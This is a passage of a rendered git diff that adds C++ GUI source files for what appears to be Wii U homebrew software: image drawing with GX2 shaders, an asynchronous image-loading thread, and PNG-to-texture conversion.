colorVtxsDirty = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiImage::draw(CVideo *pVideo)
|
||||||
|
{
|
||||||
|
if(!this->isVisible() || tileVertical == 0 || tileHorizontal == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
f32 currScaleX = getScaleX();
|
||||||
|
f32 currScaleY = getScaleY();
|
||||||
|
|
||||||
|
positionOffsets[0] = getCenterX() * pVideo->getWidthScaleFactor() * 2.0f;
|
||||||
|
positionOffsets[1] = getCenterY() * pVideo->getHeightScaleFactor() * 2.0f;
|
||||||
|
positionOffsets[2] = getDepth() * pVideo->getDepthScaleFactor() * 2.0f;
|
||||||
|
|
||||||
|
scaleFactor[0] = currScaleX * getWidth() * pVideo->getWidthScaleFactor();
|
||||||
|
scaleFactor[1] = currScaleY * getHeight() * pVideo->getHeightScaleFactor();
|
||||||
|
scaleFactor[2] = getScaleZ();
|
||||||
|
|
||||||
|
//! add other colors intensities parameters
|
||||||
|
colorIntensity[3] = getAlpha();
|
||||||
|
|
||||||
|
//! angle of the object
|
||||||
|
imageAngle = DegToRad(getAngle());
|
||||||
|
|
||||||
|
// if(image && tileHorizontal > 0 && tileVertical > 0)
|
||||||
|
// {
|
||||||
|
// for(int n=0; n<tileVertical; n++)
|
||||||
|
// for(int i=0; i<tileHorizontal; i++)
|
||||||
|
// {
|
||||||
|
// if(bUnCut)
|
||||||
|
// Menu_DrawImg(image, width, height, format, currLeft+width*i, currTop+width*n, currZ, imageangle, currScaleX, currScaleY, currAlpha);
|
||||||
|
// else
|
||||||
|
// Menu_DrawImgCut(image, width, height, format, currLeft+width*i, currTop+width*n, currZ, imageangle, currScaleX, currScaleY, currAlpha, cutBoundsRect.x1(), cutBoundsRect.x2(), cutBoundsRect.y1(), cutBoundsRect.y2());
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// else if(image && tileHorizontal > 0)
|
||||||
|
// {
|
||||||
|
// for(int i=0; i<tileHorizontal; i++)
|
||||||
|
// {
|
||||||
|
// int widthTile = (imageangle == 90 || imageangle == 270) ? height : width;
|
||||||
|
// if(bUnCut)
|
||||||
|
// Menu_DrawImg(image, width, height, format, currLeft+widthTile*i, currTop, currZ, imageangle, currScaleX, currScaleY, currAlpha);
|
||||||
|
// else
|
||||||
|
// Menu_DrawImgCut(image, width, height, format, currLeft+widthTile*i, currTop, currZ, imageangle, currScaleX, currScaleY, currAlpha, cutBoundsRect.x1(), cutBoundsRect.x2(), cutBoundsRect.y1(), cutBoundsRect.y2());
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
// else if(image && tileVertical > 0)
|
||||||
|
// {
|
||||||
|
// for(int i=0; i<tileVertical; i++)
|
||||||
|
// {
|
||||||
|
// if(bUnCut)
|
||||||
|
// Menu_DrawImg(image, width, height, format, currLeft, currTop+height*i, currZ, imageangle, currScaleX, currScaleY, currAlpha);
|
||||||
|
// else
|
||||||
|
// Menu_DrawImgCut(image, width, height, format, currLeft, currTop+height*i, currZ, imageangle, currScaleX, currScaleY, currAlpha, cutBoundsRect.x1(), cutBoundsRect.x2(), cutBoundsRect.y1(), cutBoundsRect.y2());
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
if(colorVtxsDirty && colorVtxs) {
|
||||||
|
//! flush color vertex only on main GX2 thread
|
||||||
|
GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, colorVtxs, colorCount * ColorShader::cuColorAttrSize);
|
||||||
|
colorVtxsDirty = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(imgType == IMAGE_COLOR && colorVtxs)
|
||||||
|
{
|
||||||
|
ColorShader::instance()->setShaders();
|
||||||
|
ColorShader::instance()->setAttributeBuffer(colorVtxs, posVtxs, vtxCount);
|
||||||
|
ColorShader::instance()->setAngle(imageAngle);
|
||||||
|
ColorShader::instance()->setOffset(positionOffsets);
|
||||||
|
ColorShader::instance()->setScale(scaleFactor);
|
||||||
|
ColorShader::instance()->setColorIntensity(colorIntensity);
|
||||||
|
ColorShader::instance()->draw(primitive, vtxCount);
|
||||||
|
}
|
||||||
|
else if(imageData)
|
||||||
|
{
|
||||||
|
Texture2DShader::instance()->setShaders();
|
||||||
|
Texture2DShader::instance()->setAttributeBuffer(texCoords, posVtxs, vtxCount);
|
||||||
|
Texture2DShader::instance()->setAngle(imageAngle);
|
||||||
|
Texture2DShader::instance()->setOffset(positionOffsets);
|
||||||
|
Texture2DShader::instance()->setScale(scaleFactor);
|
||||||
|
Texture2DShader::instance()->setColorIntensity(colorIntensity);
|
||||||
|
Texture2DShader::instance()->setBlurring(blurDirection);
|
||||||
|
Texture2DShader::instance()->setTextureAndSampler(imageData->getTexture(), imageData->getSampler());
|
||||||
|
Texture2DShader::instance()->draw(primitive, vtxCount);
|
||||||
|
}
|
||||||
|
}
|
110
src/gui/GuiImage.h
Normal file
110
src/gui/GuiImage.h
Normal file
@ -0,0 +1,110 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#ifndef GUI_IMAGE_H_
|
||||||
|
#define GUI_IMAGE_H_
|
||||||
|
|
||||||
|
#include "video/shaders/Shader.h"
|
||||||
|
#include "GuiElement.h"
|
||||||
|
#include "GuiImageData.h"
|
||||||
|
|
||||||
|
//!Display, manage, and manipulate images in the GUI
|
||||||
|
class GuiImage : public GuiElement
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
enum ImageTypes
|
||||||
|
{
|
||||||
|
IMAGE_TEXTURE,
|
||||||
|
IMAGE_COLOR
|
||||||
|
};
|
||||||
|
|
||||||
|
//!\overload
|
||||||
|
//!\param img Pointer to GuiImageData element
|
||||||
|
GuiImage(GuiImageData * img);
|
||||||
|
//!\overload
|
||||||
|
//!Creates an image filled with the specified color
|
||||||
|
//!\param w Image width
|
||||||
|
//!\param h Image height
|
||||||
|
//!\param c Array with 4 x image color (BL, BR, TL, TR)
|
||||||
|
GuiImage(int w, int h, const GX2Color & c, int imgType = IMAGE_COLOR);
|
||||||
|
GuiImage(int w, int h, const GX2Color * c, u32 colorCount = 1, int imgType = IMAGE_COLOR);
|
||||||
|
//!Destructor
|
||||||
|
virtual ~GuiImage();
|
||||||
|
//!Sets the number of times to draw the image horizontally
|
||||||
|
//!\param t Number of times to draw the image
|
||||||
|
void setTileHorizontal(int t) { tileHorizontal = t; }
|
||||||
|
//!Sets the number of times to draw the image vertically
|
||||||
|
//!\param t Number of times to draw the image
|
||||||
|
void setTileVertical(int t) { tileVertical = t; }
|
||||||
|
//!Constantly called to draw the image
|
||||||
|
void draw(CVideo *pVideo);
|
||||||
|
//!Gets the image data
|
||||||
|
//!\return pointer to image data
|
||||||
|
GuiImageData * getImageData() const { return imageData; }
|
||||||
|
//!Sets up a new image using the GuiImageData object specified
|
||||||
|
//!\param img Pointer to GuiImageData object
|
||||||
|
void setImageData(GuiImageData * img);
|
||||||
|
//!Gets the pixel color at the specified coordinates of the image
|
||||||
|
//!\param x X coordinate
|
||||||
|
//!\param y Y coordinate
|
||||||
|
GX2Color getPixel(int x, int y);
|
||||||
|
//!Sets the pixel color at the specified coordinates of the image
|
||||||
|
//!\param x X coordinate
|
||||||
|
//!\param y Y coordinate
|
||||||
|
//!\param color Pixel color
|
||||||
|
void setPixel(int x, int y, const GX2Color & color);
|
||||||
|
//!Change ImageColor
|
||||||
|
void setImageColor(const GX2Color & c, int idx = -1);
|
||||||
|
//!Change ImageColor
|
||||||
|
void setSize(int w, int h);
|
||||||
|
|
||||||
|
void setPrimitiveVertex(s32 prim, const f32 *pos, const f32 *tex, u32 count);
|
||||||
|
|
||||||
|
void setBlurDirection(u8 dir, f32 value)
|
||||||
|
{
|
||||||
|
if(dir < 2) {
|
||||||
|
blurDirection[dir] = value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
void setColorIntensity(const glm::vec4 & col)
|
||||||
|
{
|
||||||
|
colorIntensity = col;
|
||||||
|
}
|
||||||
|
protected:
|
||||||
|
void internalInit(int w, int h);
|
||||||
|
|
||||||
|
int imgType; //!< Type of image data (IMAGE_TEXTURE, IMAGE_COLOR, IMAGE_DATA)
|
||||||
|
GuiImageData * imageData; //!< Poiner to image data. May be shared with GuiImageData data
|
||||||
|
int tileHorizontal; //!< Number of times to draw (tile) the image horizontally
|
||||||
|
int tileVertical; //!< Number of times to draw (tile) the image vertically
|
||||||
|
|
||||||
|
//! Internally used variables for rendering
|
||||||
|
u8 *colorVtxs;
|
||||||
|
u32 colorCount;
|
||||||
|
bool colorVtxsDirty;
|
||||||
|
glm::vec3 positionOffsets;
|
||||||
|
glm::vec3 scaleFactor;
|
||||||
|
glm::vec4 colorIntensity;
|
||||||
|
f32 imageAngle;
|
||||||
|
glm::vec3 blurDirection;
|
||||||
|
|
||||||
|
const f32 * posVtxs;
|
||||||
|
const f32 * texCoords;
|
||||||
|
u32 vtxCount;
|
||||||
|
s32 primitive;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
172
src/gui/GuiImageAsync.cpp
Normal file
172
src/gui/GuiImageAsync.cpp
Normal file
@ -0,0 +1,172 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#include <unistd.h>
|
||||||
|
#include "GuiImageAsync.h"
|
||||||
|
#include "fs/fs_utils.h"
|
||||||
|
|
||||||
|
std::vector<GuiImageAsync *> GuiImageAsync::imageQueue;
|
||||||
|
CThread * GuiImageAsync::pThread = NULL;
|
||||||
|
CMutex * GuiImageAsync::pMutex = NULL;
|
||||||
|
u32 GuiImageAsync::threadRefCounter = 0;
|
||||||
|
bool GuiImageAsync::bExitRequested = false;
|
||||||
|
GuiImageAsync * GuiImageAsync::pInUse = NULL;
|
||||||
|
|
||||||
|
GuiImageAsync::GuiImageAsync(const u8 *imageBuffer, const u32 & imageBufferSize, GuiImageData * preloadImg)
|
||||||
|
: GuiImage(preloadImg)
|
||||||
|
, imgData(NULL)
|
||||||
|
, imgBuffer(imageBuffer)
|
||||||
|
, imgBufferSize(imageBufferSize)
|
||||||
|
{
|
||||||
|
threadInit();
|
||||||
|
threadAddImage(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
GuiImageAsync::GuiImageAsync(const std::string & file, GuiImageData * preloadImg)
|
||||||
|
: GuiImage(preloadImg)
|
||||||
|
, imgData(NULL)
|
||||||
|
, filename(file)
|
||||||
|
, imgBuffer(NULL)
|
||||||
|
, imgBufferSize(0)
|
||||||
|
{
|
||||||
|
threadInit();
|
||||||
|
threadAddImage(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
GuiImageAsync::~GuiImageAsync()
|
||||||
|
{
|
||||||
|
threadRemoveImage(this);
|
||||||
|
while(pInUse == this)
|
||||||
|
usleep(1000);
|
||||||
|
|
||||||
|
if (imgData)
|
||||||
|
delete imgData;
|
||||||
|
|
||||||
|
threadExit();
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiImageAsync::threadAddImage(GuiImageAsync *Image)
|
||||||
|
{
|
||||||
|
pMutex->lock();
|
||||||
|
imageQueue.push_back(Image);
|
||||||
|
pMutex->unlock();
|
||||||
|
pThread->resumeThread();
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiImageAsync::threadRemoveImage(GuiImageAsync *image)
|
||||||
|
{
|
||||||
|
pMutex->lock();
|
||||||
|
for(u32 i = 0; i < imageQueue.size(); ++i)
|
||||||
|
{
|
||||||
|
if(imageQueue[i] == image)
|
||||||
|
{
|
||||||
|
imageQueue.erase(imageQueue.begin() + i);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
pMutex->unlock();
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiImageAsync::clearQueue()
|
||||||
|
{
|
||||||
|
pMutex->lock();
|
||||||
|
imageQueue.clear();
|
||||||
|
pMutex->unlock();
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiImageAsync::guiImageAsyncThread(CThread *thread, void *arg)
|
||||||
|
{
|
||||||
|
while(!bExitRequested)
|
||||||
|
{
|
||||||
|
if(imageQueue.empty() && !bExitRequested)
|
||||||
|
pThread->suspendThread();
|
||||||
|
|
||||||
|
if(!imageQueue.empty() && !bExitRequested)
|
||||||
|
{
|
||||||
|
pMutex->lock();
|
||||||
|
pInUse = imageQueue.front();
|
||||||
|
imageQueue.erase(imageQueue.begin());
|
||||||
|
pMutex->unlock();
|
||||||
|
|
||||||
|
if (!pInUse)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
|
||||||
|
if(pInUse->imgBuffer && pInUse->imgBufferSize)
|
||||||
|
{
|
||||||
|
pInUse->imgData = new GuiImageData(pInUse->imgBuffer, pInUse->imgBufferSize);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
u8 *buffer = NULL;
|
||||||
|
u32 bufferSize = 0;
|
||||||
|
|
||||||
|
int iResult = LoadFileToMem(pInUse->filename.c_str(), &buffer, &bufferSize);
|
||||||
|
if(iResult > 0)
|
||||||
|
{
|
||||||
|
pInUse->imgData = new GuiImageData(buffer, bufferSize, GX2_TEX_CLAMP_MIRROR);
|
||||||
|
|
||||||
|
//! free original image buffer which is converted to texture now and not needed anymore
|
||||||
|
free(buffer);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(pInUse->imgData)
|
||||||
|
{
|
||||||
|
if(pInUse->imgData->getTexture())
|
||||||
|
{
|
||||||
|
pInUse->width = pInUse->imgData->getWidth();
|
||||||
|
pInUse->height = pInUse->imgData->getHeight();
|
||||||
|
pInUse->imageData = pInUse->imgData;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
delete pInUse->imgData;
|
||||||
|
pInUse->imgData = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pInUse = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiImageAsync::threadInit()
|
||||||
|
{
|
||||||
|
if (pThread == NULL)
|
||||||
|
{
|
||||||
|
bExitRequested = false;
|
||||||
|
pMutex = new CMutex();
|
||||||
|
pThread = CThread::create(GuiImageAsync::guiImageAsyncThread, NULL, CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 10);
|
||||||
|
pThread->resumeThread();
|
||||||
|
}
|
||||||
|
|
||||||
|
++threadRefCounter;
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiImageAsync::threadExit()
|
||||||
|
{
|
||||||
|
--threadRefCounter;
|
||||||
|
|
||||||
|
if((threadRefCounter == 0) && (pThread != NULL))
|
||||||
|
{
|
||||||
|
bExitRequested = true;
|
||||||
|
delete pThread;
|
||||||
|
delete pMutex;
|
||||||
|
pThread = NULL;
|
||||||
|
pMutex = NULL;
|
||||||
|
}
|
||||||
|
}
|
58
src/gui/GuiImageAsync.h
Normal file
58
src/gui/GuiImageAsync.h
Normal file
@ -0,0 +1,58 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#ifndef _GUIIMAGEASYNC_H_
|
||||||
|
#define _GUIIMAGEASYNC_H_
|
||||||
|
|
||||||
|
#include <vector>
|
||||||
|
#include "GuiImage.h"
|
||||||
|
#include "system/CThread.h"
|
||||||
|
#include "system/CMutex.h"
|
||||||
|
#include "dynamic_libs/os_functions.h"
|
||||||
|
|
||||||
|
class GuiImageAsync : public GuiImage
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
GuiImageAsync(const u8 *imageBuffer, const u32 & imageBufferSize, GuiImageData * preloadImg);
|
||||||
|
GuiImageAsync(const std::string & filename, GuiImageData * preloadImg);
|
||||||
|
virtual ~GuiImageAsync();
|
||||||
|
|
||||||
|
static void clearQueue();
|
||||||
|
static void removeFromQueue(GuiImageAsync * image) {
|
||||||
|
threadRemoveImage(image);
|
||||||
|
}
|
||||||
|
private:
|
||||||
|
static void threadInit();
|
||||||
|
static void threadExit();
|
||||||
|
|
||||||
|
GuiImageData *imgData;
|
||||||
|
std::string filename;
|
||||||
|
const u8 *imgBuffer;
|
||||||
|
const u32 imgBufferSize;
|
||||||
|
|
||||||
|
static void guiImageAsyncThread(CThread *thread, void *arg);
|
||||||
|
static void threadAddImage(GuiImageAsync* Image);
|
||||||
|
static void threadRemoveImage(GuiImageAsync* Image);
|
||||||
|
|
||||||
|
static std::vector<GuiImageAsync *> imageQueue;
|
||||||
|
static CThread *pThread;
|
||||||
|
static CMutex * pMutex;
|
||||||
|
static u32 threadRefCounter;
|
||||||
|
static GuiImageAsync * pInUse;
|
||||||
|
static bool bExitRequested;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif /*_GUIIMAGEASYNC_H_*/
|
207
src/gui/GuiImageData.cpp
Normal file
207
src/gui/GuiImageData.cpp
Normal file
@ -0,0 +1,207 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#include <malloc.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include "GuiImageData.h"
|
||||||
|
#include "system/memory.h"
|
||||||
|
/**
|
||||||
|
* Constructor for the GuiImageData class.
|
||||||
|
*/
|
||||||
|
GuiImageData::GuiImageData()
|
||||||
|
{
|
||||||
|
texture = NULL;
|
||||||
|
sampler = NULL;
|
||||||
|
memoryType = eMemTypeMEM2;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Constructor for the GuiImageData class.
|
||||||
|
*/
|
||||||
|
GuiImageData::GuiImageData(const u8 * img, int imgSize, int textureClamp, int textureFormat)
|
||||||
|
{
|
||||||
|
texture = NULL;
|
||||||
|
sampler = NULL;
|
||||||
|
loadImage(img, imgSize, textureClamp, textureFormat);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Destructor for the GuiImageData class.
|
||||||
|
*/
|
||||||
|
GuiImageData::~GuiImageData()
|
||||||
|
{
|
||||||
|
releaseData();
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiImageData::releaseData(void)
|
||||||
|
{
|
||||||
|
if(texture) {
|
||||||
|
if(texture->surface.image_data)
|
||||||
|
{
|
||||||
|
switch(memoryType)
|
||||||
|
{
|
||||||
|
default:
|
||||||
|
case eMemTypeMEM2:
|
||||||
|
free(texture->surface.image_data);
|
||||||
|
break;
|
||||||
|
case eMemTypeMEM1:
|
||||||
|
MEM1_free(texture->surface.image_data);
|
||||||
|
break;
|
||||||
|
case eMemTypeMEMBucket:
|
||||||
|
MEMBucket_free(texture->surface.image_data);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
delete texture;
|
||||||
|
texture = NULL;
|
||||||
|
}
|
||||||
|
if(sampler) {
|
||||||
|
delete sampler;
|
||||||
|
sampler = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiImageData::loadImage(const u8 *img, int imgSize, int textureClamp, int textureFormat)
|
||||||
|
{
|
||||||
|
if(!img || (imgSize < 8))
|
||||||
|
return;
|
||||||
|
|
||||||
|
releaseData();
|
||||||
|
gdImagePtr gdImg = 0;
|
||||||
|
|
||||||
|
if (img[0] == 0xFF && img[1] == 0xD8)
|
||||||
|
{
|
||||||
|
//! not needed for now therefore comment out to safe ELF size
|
||||||
|
//! if needed uncomment, adds 200 kb to the ELF size
|
||||||
|
// IMAGE_JPEG
|
||||||
|
//gdImg = gdImageCreateFromJpegPtr(imgSize, (u8*) img);
|
||||||
|
}
|
||||||
|
else if (img[0] == 'B' && img[1] == 'M')
|
||||||
|
{
|
||||||
|
// IMAGE_BMP
|
||||||
|
//gdImg = gdImageCreateFromBmpPtr(imgSize, (u8*) img);
|
||||||
|
}
|
||||||
|
else if (img[0] == 0x89 && img[1] == 'P' && img[2] == 'N' && img[3] == 'G')
|
||||||
|
{
|
||||||
|
// IMAGE_PNG
|
||||||
|
gdImg = gdImageCreateFromPngPtr(imgSize, (u8*) img);
|
||||||
|
}
|
||||||
|
//!This must be last since it can also intefere with outher formats
|
||||||
|
else if(img[0] == 0x00)
|
||||||
|
{
|
||||||
|
// Try loading TGA image
|
||||||
|
//gdImg = gdImageCreateFromTgaPtr(imgSize, (u8*) img);
|
||||||
|
}
|
||||||
|
|
||||||
|
if(gdImg == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
u32 width = (gdImageSX(gdImg));
|
||||||
|
u32 height = (gdImageSY(gdImg));
|
||||||
|
|
||||||
|
//! Initialize texture
|
||||||
|
texture = new GX2Texture;
|
||||||
|
GX2InitTexture(texture, width, height, 1, 0, textureFormat, GX2_SURFACE_DIM_2D, GX2_TILE_MODE_LINEAR_ALIGNED);
|
||||||
|
|
||||||
|
//! if this fails something went horribly wrong
|
||||||
|
if(texture->surface.image_size == 0) {
|
||||||
|
delete texture;
|
||||||
|
texture = NULL;
|
||||||
|
gdImageDestroy(gdImg);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
//! allocate memory for the surface
|
||||||
|
memoryType = eMemTypeMEM2;
|
||||||
|
texture->surface.image_data = memalign(texture->surface.align, texture->surface.image_size);
|
||||||
|
//! try MEM1 on failure
|
||||||
|
if(!texture->surface.image_data) {
|
||||||
|
memoryType = eMemTypeMEM1;
|
||||||
|
texture->surface.image_data = MEM1_alloc(texture->surface.image_size, texture->surface.align);
|
||||||
|
}
|
||||||
|
//! try MEM bucket on failure
|
||||||
|
if(!texture->surface.image_data) {
|
||||||
|
memoryType = eMemTypeMEMBucket;
|
||||||
|
texture->surface.image_data = MEMBucket_alloc(texture->surface.image_size, texture->surface.align);
|
||||||
|
}
|
||||||
|
//! check if memory is available for image
|
||||||
|
if(!texture->surface.image_data) {
|
||||||
|
gdImageDestroy(gdImg);
|
||||||
|
delete texture;
|
||||||
|
texture = NULL;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
//! set mip map data pointer
|
||||||
|
texture->surface.mip_data = NULL;
|
||||||
|
//! convert image to texture
|
||||||
|
switch(textureFormat)
|
||||||
|
{
|
||||||
|
default:
|
||||||
|
case GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM:
|
||||||
|
gdImageToUnormR8G8B8A8(gdImg, (u32*)texture->surface.image_data, texture->surface.width, texture->surface.height, texture->surface.pitch);
|
||||||
|
break;
|
||||||
|
case GX2_SURFACE_FORMAT_TCS_R5_G6_B5_UNORM:
|
||||||
|
gdImageToUnormR5G6B5(gdImg, (u16*)texture->surface.image_data, texture->surface.width, texture->surface.height, texture->surface.pitch);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
//! free memory of image as its not needed anymore
|
||||||
|
gdImageDestroy(gdImg);
|
||||||
|
|
||||||
|
//! invalidate the memory
|
||||||
|
GX2Invalidate(GX2_INVALIDATE_CPU_TEXTURE, texture->surface.image_data, texture->surface.image_size);
|
||||||
|
//! initialize the sampler
|
||||||
|
sampler = new GX2Sampler;
|
||||||
|
GX2InitSampler(sampler, textureClamp, GX2_TEX_XY_FILTER_BILINEAR);
|
||||||
|
}
|
||||||
|
|
||||||
|
void GuiImageData::gdImageToUnormR8G8B8A8(gdImagePtr gdImg, u32 *imgBuffer, u32 width, u32 height, u32 pitch)
|
||||||
|
{
|
||||||
|
for(u32 y = 0; y < height; ++y)
|
||||||
|
{
|
||||||
|
for(u32 x = 0; x < width; ++x)
|
||||||
|
{
|
||||||
|
u32 pixel = gdImageGetPixel(gdImg, x, y);
|
||||||
|
|
||||||
|
u8 a = 254 - 2*((u8)gdImageAlpha(gdImg, pixel));
|
||||||
|
if(a == 254) a++;
|
||||||
|
|
||||||
|
u8 r = gdImageRed(gdImg, pixel);
|
||||||
|
u8 g = gdImageGreen(gdImg, pixel);
|
||||||
|
u8 b = gdImageBlue(gdImg, pixel);
|
||||||
|
|
||||||
|
imgBuffer[y * pitch + x] = (r << 24) | (g << 16) | (b << 8) | (a);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//! TODO: figure out why this seems to not work correct yet
|
||||||
|
void GuiImageData::gdImageToUnormR5G6B5(gdImagePtr gdImg, u16 *imgBuffer, u32 width, u32 height, u32 pitch)
|
||||||
|
{
|
||||||
|
for(u32 y = 0; y < height; ++y)
|
||||||
|
{
|
||||||
|
for(u32 x = 0; x < width; ++x)
|
||||||
|
{
|
||||||
|
u32 pixel = gdImageGetPixel(gdImg, x, y);
|
||||||
|
|
||||||
|
u8 r = gdImageRed(gdImg, pixel);
|
||||||
|
u8 g = gdImageGreen(gdImg, pixel);
|
||||||
|
u8 b = gdImageBlue(gdImg, pixel);
|
||||||
|
|
||||||
|
imgBuffer[y * pitch + x] = ((r >> 3) << 11) | ((g >> 2) << 5) | (b >> 3);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
67
src/gui/GuiImageData.h
Normal file
67
src/gui/GuiImageData.h
Normal file
@ -0,0 +1,67 @@
|
|||||||
|
/****************************************************************************
|
||||||
|
* Copyright (C) 2015 Dimok
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify
|
||||||
|
* it under the terms of the GNU General Public License as published by
|
||||||
|
* the Free Software Foundation, either version 3 of the License, or
|
||||||
|
* (at your option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful,
|
||||||
|
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
* GNU General Public License for more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
****************************************************************************/
|
||||||
|
#ifndef GUI_IMAGEDATA_H_
|
||||||
|
#define GUI_IMAGEDATA_H_
|
||||||
|
|
||||||
|
#include <gctypes.h>
|
||||||
|
#include <gd.h>
|
||||||
|
#include "dynamic_libs/gx2_functions.h"
|
||||||
|
#include "system/AsyncDeleter.h"
|
||||||
|
|
||||||
|
class GuiImageData : public AsyncDeleter::Element
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
//!Constructor
|
||||||
|
GuiImageData();
|
||||||
|
//!\param img Image data
|
||||||
|
//!\param imgSize The image size
|
||||||
|
GuiImageData(const u8 * img, int imgSize, int textureClamp = GX2_TEX_CLAMP_CLAMP, int textureFormat = GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM);
|
||||||
|
//!Destructor
|
||||||
|
virtual ~GuiImageData();
|
||||||
|
//!Load image from buffer
|
||||||
|
//!\param img Image data
|
||||||
|
//!\param imgSize The image size
|
||||||
|
void loadImage(const u8 * img, int imgSize, int textureClamp = GX2_TEX_CLAMP_CLAMP, int textureFormat = GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM);
|
||||||
|
//! getter functions
|
||||||
|
const GX2Texture * getTexture() const { return texture; };
|
||||||
|
const GX2Sampler * getSampler() const { return sampler; };
|
||||||
|
//!Gets the image width
|
||||||
|
//!\return image width
|
||||||
|
